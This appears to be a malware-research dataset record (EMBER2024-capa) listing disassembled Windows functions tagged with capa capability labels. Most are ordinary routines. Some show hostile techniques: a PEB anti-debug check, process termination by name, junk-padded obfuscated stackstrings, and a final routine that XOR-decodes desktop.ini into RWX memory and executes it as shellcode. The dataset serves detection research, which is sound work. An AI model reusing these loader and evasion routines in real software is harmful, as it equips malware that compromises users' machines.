joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b47a0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4b48c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov ax, word [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.004b468c
mov eax, dword [esi]
call fcn.004051cc
add eax, 0x28
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x4adbd4]
call fcn.00405388
add esp, 4
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1c]
mov ecx, 0x1c
call fcn.0040295c
mov ebx, 0x1c
mov eax, dword [ebp - 8]
lea edx, [eax + ebx]
lea eax, [ebp - 0x2c]
mov ecx, 0x1c
call fcn.0040295c
add ebx, 0x1c
mov eax, dword [esi]
call fcn.004051cc
mov dword [ebp - 0xc], eax
mov eax, dword [0x4c19fc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x30]
lea edx, [ebp - 8]
mov ecx, ebx
call fcn.004ade68
add ebx, 4
mov eax, dword [ebp - 8]
add eax, ebx
xor ecx, ecx
mov edx, 3
call fcn.00402d4c
add ebx, 3
mov eax, dword [ebp - 8]
mov byte [eax + ebx], 0x3a
inc ebx
mov eax, dword [esi]
mov byte [eax + 2], 0
mov eax, dword [esi]
mov byte [eax + 3], 0
push ebx
mov eax, dword [esi]
call fcn.004051cc
push eax
lea ecx, [ebp - 8]
mov eax, dword [esi]
xor edx, edx
call fcn.004add98
mov edx, dword [ebp - 8]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x94]
mov ebx, eax
mov eax, ebx
call fcn.004add94
mov edx, esi
mov ecx, dword [ebp + 0x10]
call fcn.004ade60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b48cf
lea eax, [ebp - 8]
mov edx, dword [0x4adbd4]
call fcn.00405394
ret

Function at 0x4b71b8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b7227
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.004043c0
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.0040d550
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b722e
lea eax, [ebp - 0x10c]
call fcn.00404150
ret
Function at 0x4b78e8
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404600
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4b7a67
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4b7a37
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [esi], 0x128
push esi
push ebx
call sub.kernel32.dll_Process32First
jmp 0x4b7a25
lea eax, [ebp - 0x138]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.004043c0
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00408e6c
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.004b78ac
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.004b78ac
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.0040455c
je 0x4b7a09
lea eax, [ebp - 0x144]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.004043c0
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.004b78ac
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.004b78ac
mov edx, dword [ebp - 0x148]
pop eax
call fcn.0040455c
jne 0x4b7a1e
push 0
mov eax, dword [esi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
push esi
push ebx
call sub.kernel32.dll_Process32Next
test eax, eax
jne 0x4b796a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b7a41
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b7a6e
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404174
lea eax, [ebp - 4]
call fcn.00404150
ret
Function at 0x4b7a90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], ecx
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x148], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4b7bb8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x101
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x4b7b90
lea ebx, [ebp - 0x105]
jmp 0x4b7b87
push 0x39
lea eax, [ebp - 0x13e]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x148]
mov edx, ebx
call fcn.00404348
mov eax, dword [ebp - 0x148]
mov ecx, 2
mov edx, 1
call fcn.00404670
mov eax, dword [ebp - 0x144]
call fcn.00404610
push eax
call sub.kernel32.dll_QueryDosDeviceA
lea eax, [ebp - 0x13e]
push eax
call sub.kernel32.dll_lstrlenA_1
mov esi, eax
push esi
push edi
lea eax, [ebp - 0x13e]
push eax
call sub.SHLWAPI.DLL_StrCmpNIA
test eax, eax
jne 0x4b7b84
lea eax, [ebp - 0x14c]
lea edx, [edi + esi + 1]
call fcn.00404348
mov eax, dword [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
mov edx, ebx
call fcn.00404348
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 4]
pop ecx
call fcn.0040445c
jmp 0x4b7b9a
add ebx, 4
cmp byte [ebx], 0
jne 0x4b7aed
mov eax, dword [ebp - 4]
mov edx, edi
call fcn.00404348
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b7bbf
lea eax, [ebp - 0x150]
mov edx, 4
call fcn.00404174
ret

Function at 0x4b7bc8
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b7c27
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x108]
push eax
push ebx
call sub.PSAPI.dll_GetProcessImageFileNameA
test eax, eax
jne 0x4b7c0f
mov eax, dword [ebp - 4]
call fcn.00404150
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b7c39
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x108]
call fcn.004b7a90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b7c39
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4b7c40
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ebx, ebx
push 0x4b7cd4
call sub.kernel32.dll_GetModuleHandleA_2
mov esi, eax
test esi, esi
jne 0x4b7c67
push 0x4b7cd4
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x4b7cc8
push 0x4b7ce4
push esi
call sub.kernel32.dll_GetProcAddress_1
mov edi, eax
push 0x4b7cf4
push esi
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
test edi, edi
je 0x4b7cc8
lea eax, [ebp - 4]
push eax
call sub.kernel32.dll_GetCurrentProcess
push eax
call edi
cmp dword [ebp - 4], 0
je 0x4b7c9f
test esi, esi
jne 0x4b7ca3
xor ebx, ebx
jmp 0x4b7ca5
mov bl, 1
test bl, bl
je 0x4b7cc8
lea eax, [ebp - 0x28]
push eax
call sub.kernel32.dll_GetNativeSystemInfo
mov ax, word [ebp - 0x28]
cmp ax, 9
je 0x4b7cc6
cmp ax, 6
je 0x4b7cc6
xor ebx, ebx
jmp 0x4b7cc8
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b7de8
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x130], ebx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404600
mov eax, dword [ebp + 8]
call fcn.00404600
xor eax, eax
push ebp
push 0x4b8010
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4b7fdd
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.kernel32.dll_Process32First
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4b7fc5
cmp ebx, dword [ebp - 0x124]
jne 0x4b7fb2
call fcn.0040aa44
add esp, 0xfffffff8
fstp qword [esp]
wait
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00490da4
cmp eax, 0x1f4
jge 0x4b7fcd
cmp byte [0x4c31bc], 1
jne 0x4b7ea9
cmp eax, 0x1f4
jge 0x4b7ebb
mov edx, 0x1f4
sub edx, eax
push edx
call sub.kernel32.dll_Sleep_1
jmp 0x4b7ebb
cmp eax, 0xa
jge 0x4b7ebb
mov edx, 0xa
sub edx, eax
push edx
call sub.kernel32.dll_Sleep_1
lea edx, [ebp - 0x130]
mov eax, dword [ebp - 4]
call fcn.00408e6c
mov eax, dword [ebp - 0x130]
lea edx, [ebp + 8]
call fcn.004082b8
mov eax, dword [ebp + 8]
call fcn.004b78e8
push 0xc8
call sub.kernel32.dll_Sleep_1
mov eax, dword [ebp + 8]
mov edx, 0x4b8028
call fcn.0040455c
je 0x4b7f07
mov eax, dword [ebp + 8]
mov edx, 0x4b8040
call fcn.0040455c
jne 0x4b7f30
push 1
push 0
mov eax, dword [0x4c31c8]
call fcn.00404610
push eax
mov eax, dword [ebp - 4]
call fcn.00404610
push eax
push 0x4b8054
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x4b7fcd
mov eax, dword [ebp + 8]
mov edx, 0x4b8064
call fcn.0040455c
je 0x4b7f7b
mov eax, dword [ebp + 8]
mov edx, 0x4b8080
call fcn.0040455c
je 0x4b7f7b
mov eax, dword [ebp + 8]
mov edx, 0x4b8094
call fcn.0040455c
je 0x4b7f7b
mov eax, dword [ebp + 8]
mov edx, 0x4b80a8
call fcn.0040455c
je 0x4b7f7b
mov eax, dword [ebp + 8]
mov edx, 0x4b80c0
call fcn.0040455c
jne 0x4b7f8c
mov eax, dword [esi + 0x344]
mov si, 0xffeb
call fcn.00403558
jmp 0x4b7fcd
push 1
push 0
mov eax, dword [0x4c31c0]
call fcn.00404610
push eax
mov eax, dword [ebp - 4]
call fcn.00404610
push eax
push 0x4b8054
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x4b7fcd
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.kernel32.dll_Process32Next
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4b7e5c
push edi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b7fe7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8017
lea eax, [ebp - 0x130]
call fcn.00404150
lea eax, [ebp - 4]
call fcn.00404150
lea eax, [ebp + 8]
call fcn.00404150
ret
Function at 0x4bb590
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
mov dword [esp + 4], 1
push esp
push 0xf003f
push 0
push 0x4bb614
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x4bb658
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4bb5f6
mov eax, ebx
lea edx, [esp + 0xc]
mov ecx, pe_nt_image_headers32
call fcn.004043c0
jmp 0x4bb602
mov eax, ebx
mov edx, 0x4bb664
call fcn.004041a4
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0x10c
pop ebx
ret

Function at 0x4bb694
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404600
xor eax, eax
push ebp
push 0x4bb722
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4bb6fd
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404610
push eax
lea eax, [ebp - 8]
call fcn.004bb590
mov eax, dword [ebp - 8]
call fcn.00404610
push eax
push 0x4bb730
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4bb707
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bb729
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404174
ret
Function at 0x4052d8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422a14]
jne 0x4052e2
repz ret
jmp fcn.0040c2fb

Function at 0x4123cb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040984b
and dword [ebp - 4], 0
cmp dword [0x4246a4], 0
mov ebx, eax
jne 0x41247c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41252d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41252d
push eax
call fcn.004097d9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4246a4], eax
call esi
push eax
call fcn.004097d9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4246a8], eax
call esi
push eax
call fcn.004097d9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4246ac], eax
call esi
push eax
call fcn.004097d9
pop ecx
mov dword [0x4246b4], eax
test eax, eax
je 0x41247c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004097d9
pop ecx
mov dword [0x4246b0], eax
mov eax, dword [0x4246b0]
cmp eax, ebx
je 0x4124d4
cmp dword [0x4246b4], ebx
je 0x4124d4
push eax
call fcn.00409854
push dword [0x4246b4]
mov esi, eax
call fcn.00409854
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4124d4
test edi, edi
je 0x4124d4
call esi
test eax, eax
je 0x4124cb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4124cb
test byte [ebp - 0xc], 1
jne 0x4124d4
or dword [ebp + 0x10], 0x200000
jmp 0x41250d
mov eax, dword [0x4246a8]
cmp eax, ebx
je 0x41250d
push eax
call fcn.00409854
pop ecx
test eax, eax
je 0x41250d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41250d
mov eax, dword [0x4246ac]
cmp eax, ebx
je 0x41250d
push eax
call fcn.00409854
pop ecx
test eax, eax
je 0x41250d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4246a4]
call fcn.00409854
pop ecx
test eax, eax
je 0x41252d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41252f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4172f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
sub edi, 0xd5
add edi, 0xfc
and ebx, 0xde
bswap esi
dec edx
neg edi
rcr edx, 0x22
and esi, 0x9a
inc edx
or eax, 0xe9
sbb edi, 4
rol edi, 0x52
rcl ebx, 0x80
mov edi, 0x8b
sub edi, 0x21
not eax
and edx, 0x96
sub edi, 0x4c
neg esi
inc esi
inc ebx
add ebx, 0xf6
sbb edx, 0x5c
ror edi, 0x79
rol ebx, 0xec
inc edx
bswap edi
rol eax, 0x38
sbb eax, 0x43
rcr edi, 0x9a
sub ebx, 0x95
bswap edx
dec ebx
sbb edi, 0xbd
dec edx
inc esi
rol esi, 0xc
inc esi
ror esi, 0x21
not esi
rcr eax, 0x5f
mov esi, 0xcb
imul edi
bswap esi
rol ebx, 0x2e
bswap edx
dec esi
imul edx
rcl edx, 0x78
rol edi, 0xf7
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0xca
mov byte [ebp - 0x1e], 0x42
mov byte [ebp - 0x1d], 0x30
mov byte [ebp - 0x1c], 0x5b
mov byte [ebp - 0x1b], 0xe9
mov byte [ebp - 0x1a], 0xde
mov byte [ebp - 0x19], 0xfe
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0xfb
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0xdd
mov byte [ebp - 0x14], 0x58
mov byte [ebp - 0x13], 3
mov byte [ebp - 0x12], 0xf4
mov byte [ebp - 0x11], 0x22
mov byte [ebp - 0x10], 0xa4
mov byte [ebp - 0xf], 0x2b
mov byte [ebp - 0xe], 0xb1
mov byte [ebp - 0xd], 0x27
mov byte [ebp - 0xc], 1
mov byte [ebp - 0xb], 0x56
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], 0x20
mov byte [ebp - 8], 0xf6
mov byte [ebp - 7], 0xfe
mov byte [ebp - 6], 0x8b
mov byte [ebp - 5], 0x5d
mov byte [ebp - 4], 0xd9
mov byte [ebp - 3], 0x22
mov byte [ebp - 2], 0x7f
mov byte [ebp - 1], 0xbe
mov dword [ebp - 0x24], 0x20
sub edi, 0xd5
add edi, 0xfc
and ebx, 0xde
bswap esi
dec edx
neg edi
rcr edx, 0x22
and esi, 0x9a
inc edx
or eax, 0xe9
sbb edi, 4
rol edi, 0x52
rcl ebx, 0x80
mov edi, 0x8b
sub edi, 0x21
not eax
and edx, 0x96
sub edi, 0x4c
neg esi
inc esi
inc ebx
add ebx, 0xf6
sbb edx, 0x5c
ror edi, 0x79
rol ebx, 0xec
inc edx
bswap edi
rol eax, 0x38
sbb eax, 0x43
rcr edi, 0x9a
sub ebx, 0x95
bswap edx
dec ebx
sbb edi, 0xbd
dec edx
inc esi
rol esi, 0xc
inc esi
ror esi, 0x21
not esi
rcr eax, 0x5f
mov esi, 0xcb
imul edi
bswap esi
rol ebx, 0x2e
bswap edx
dec esi
imul edx
rcl edx, 0x78
rol edi, 0xf7
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call section..GJWxZ
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ec18
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x1000ec5d
call fcn.10006544
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x1000ec5d
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x1000ec79
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.1001888b
mov ebx, eax
test edi, edi
je 0x1000ec77
test esi, esi
je 0x1000ec77
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10018c80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.10006544
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x10018cb7
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.10018cd8
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1001b278
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.10013288
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x1001b2b4
call fcn.1001b497
mov dword [esi + 0xc], 1
jmp 0x1001b2b9
call fcn.1001b497
cmp dword [esi], 0
je 0x1001b302
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x1001b2dc
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.10007b54
jmp 0x1001b2ed
push 0xff
mov ecx, esi
call fcn.10002e3d
push pe_nt_image_headers32
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.10004b1d
jmp 0x1001b326
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x1001b326
push dword [esi]
push dword [ebp - 4]
call fcn.100090eb
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001b3ec
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.1001b497
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x1001b434
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.10007b54
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.10004b1d
jmp 0x1001b43f
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.100090eb
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x1002afe7
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.100619e7
call fcn.10006598
cmp dword [eax + 0x14], 0
jne 0x1002b002
mov ecx, esi
pop esi
jmp fcn.1002a3ed
pop esi
ret

Function at 0x1002bd4a
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.100a39c3
call fcn.10006598
cmp dword [eax + 0x14], 0
jne 0x1002bd65
mov ecx, esi
pop esi
jmp fcn.1002b633
pop esi
ret
Function at 0x401720
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, esp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4050d2], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4051c4], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x405154], eax
mov dword [0x4050ca], eax
mov dword [0x405140], 0x30
mov dword [0x405144], 2
jmp 0x401765
mov dword [0x405148], 0x40319b
mov dword [0x40514c], 0
mov dword [0x405150], 0
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40515c], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x405158], eax
mov dword [0x40516c], eax
mov dword [0x405168], 0x4041b8
mov dword [0x405160], 0xf
push 0x405140
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4050ca]
push 0
push 0
push 0x1e0
push 0x1fe
push 0xfffff862
push 0xfffff8f8
push 0xcf0000
push str.smform
push str.cl2307
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x4051bc], eax
push 5
push dword [0x4051bc]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x4051bc]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x405170]
jmp 0x401839
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x40182b
mov eax, dword [0x405178]
jmp 0x401854
call 0x402ccf
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10